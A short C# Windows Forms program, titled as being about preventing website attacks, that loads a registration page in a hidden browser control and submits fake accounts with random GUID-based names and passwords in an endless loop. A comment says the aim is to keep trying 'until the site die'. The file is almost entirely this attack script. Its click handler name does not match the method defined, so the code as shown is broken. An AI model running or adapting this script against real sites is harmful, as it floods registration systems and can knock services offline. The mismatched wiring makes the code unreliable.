Prevent attacks on your website

using System;
using System.Drawing;
using System.ComponentModel;
using System.Windows.Forms;
using Microsoft.Win32;
using AxSHDocVw;
using SHDocVw;

namespace Test
{
	/// <summary>
	/// Summary description for Form1.
	/// </summary>
	public class Form1 : System.Windows.Forms.Form
	{
		private AxSHDocVw.AxWebBrowser WebBrowser1;
		private System.Windows.Forms.Button btnStart;
		/// <summary>
		/// Required designer variable.
		/// </summary>
		private System.ComponentModel.Container components = null;

		public Form1()
		{
			//
			// Required for Windows Form Designer support
			//
			InitializeComponent();

			//
			// TODO: Add any constructor code after InitializeComponent call
			//
		}

		/// <summary>
		/// Clean up any resources being used.
		/// </summary>
		protected override void Dispose( bool disposing )
		{
			if( disposing )
			{
				if (components != null) 
				{
					components.Dispose();
				}
			}
			base.Dispose( disposing );
		}

		#region Windows Form Designer generated code
		/// <summary>
		/// Required method for Designer support - do not modify
		/// the contents of this method with the code editor.
		/// </summary>
		private void InitializeComponent()
		{
			System.Resources.ResourceManager resources = new System.Resources.ResourceManager(typeof(Form1));
			this.WebBrowser1 = new AxSHDocVw.AxWebBrowser();
			this.btnStart = new System.Windows.Forms.Button();
			((System.ComponentModel.ISupportInitialize)(this.WebBrowser1)).BeginInit();
			this.SuspendLayout();
			// 
			// WebBrowser1
			// 
			this.WebBrowser1.Enabled = true;
			this.WebBrowser1.Location = new System.Drawing.Point(8, 8);
			this.WebBrowser1.OcxState = ((System.Windows.Forms.AxHost.State)(resources.GetObject("WebBrowser1.OcxState")));
			this.WebBrowser1.Size = new System.Drawing.Size(8, 8);
			this.WebBrowser1.TabIndex = 0;
			this.WebBrowser1.Visible = false;
			// 
			// btnStart
			// 
			this.btnStart.Location = new System.Drawing.Point(64, 40);
			this.btnStart.Name = "btnStart";
			this.btnStart.Size = new System.Drawing.Size(128, 23);
			this.btnStart.TabIndex = 1;
			this.btnStart.Text = "Start Registring";
			this.btnStart.Click += new System.EventHandler(this.button1_Click);
			// 
			// Form1
			// 
			this.AutoScaleBaseSize = new System.Drawing.Size(5, 13);
			this.ClientSize = new System.Drawing.Size(264, 93);
			this.Controls.Add(this.btnStart);
			this.Controls.Add(this.WebBrowser1);
			this.Name = "Form1";
			this.Text = "Form1";
			this.Load += new System.EventHandler(this.Form1_Load);
			((System.ComponentModel.ISupportInitialize)(this.WebBrowser1)).EndInit();
			this.ResumeLayout(false);

		}
		#endregion

		/// <summary>
		/// The main entry point for the application.
		/// </summary>
		[STAThread]
		static void Main() 
		{
			Application.Run(new Form1());
		}

		private void Form1_Load(object sender, System.EventArgs e)
		{
		
			//get the registratin page URL
			string url="http://localhost:8181/TestApplication1/Registration.aspx";
			Object o = null;
			//fetch the page to your web broswer.
			WebBrowser1.Navigate(url, ref o, ref o, ref o, ref o);
		
		}
			
			
			
	

		private void btnRegisterClick_Click(object sender, System.EventArgs e)
		{
			
			// use the HTMLDocument interface of mshtml to simulate the registration process
			mshtml.HTMLDocument obj;
			string tempGuid,userId,firstName,LastName,password=string.Empty;
			//execute an infinite loop
			while(true)
			{
				
				try
				{
					//get the rendom values for this user
					tempGuid=System.Guid.NewGuid().ToString();
					userId=tempGuid.Substring(0,9);
					firstName=tempGuid.Substring(3,12);
					LastName=tempGuid.Substring(11,10);
					password=tempGuid.Substring(10,8);

					// assing the values to the form fields.
					obj=(mshtml.HTMLDocument)WebBrowser1.Document;
					obj.getElementById("txtUserId").innerText=userId;
					obj.getElementById("txtFirstName").innerText=firstName;
					obj.getElementById("txtLastName").innerText=LastName;
					obj.getElementById("txtPassword").innerText=password;
					obj.getElementById("txtConfirmPassword").innerText=password;
				       
					// find the submit button to post the information to the website
					// execute the click of the submit button to post the informaion
					obj.getElementById("btnSubmit").click();
					// Note if you can't find the submit button by id then use the following approach
					// find it by index in the entire HTMLDocument
					/*
					 mshtml.HTMLInputElement objbut;
					 objbut=(mshtml.HTMLInputElement)obj.all.item("submit",0);
					 objbut.click();
					*/
				}
				catch
				{
					// faild :(
					// no problem we'll try again( try try until the site die ..)
				}
				
			}
			
		}
	}
}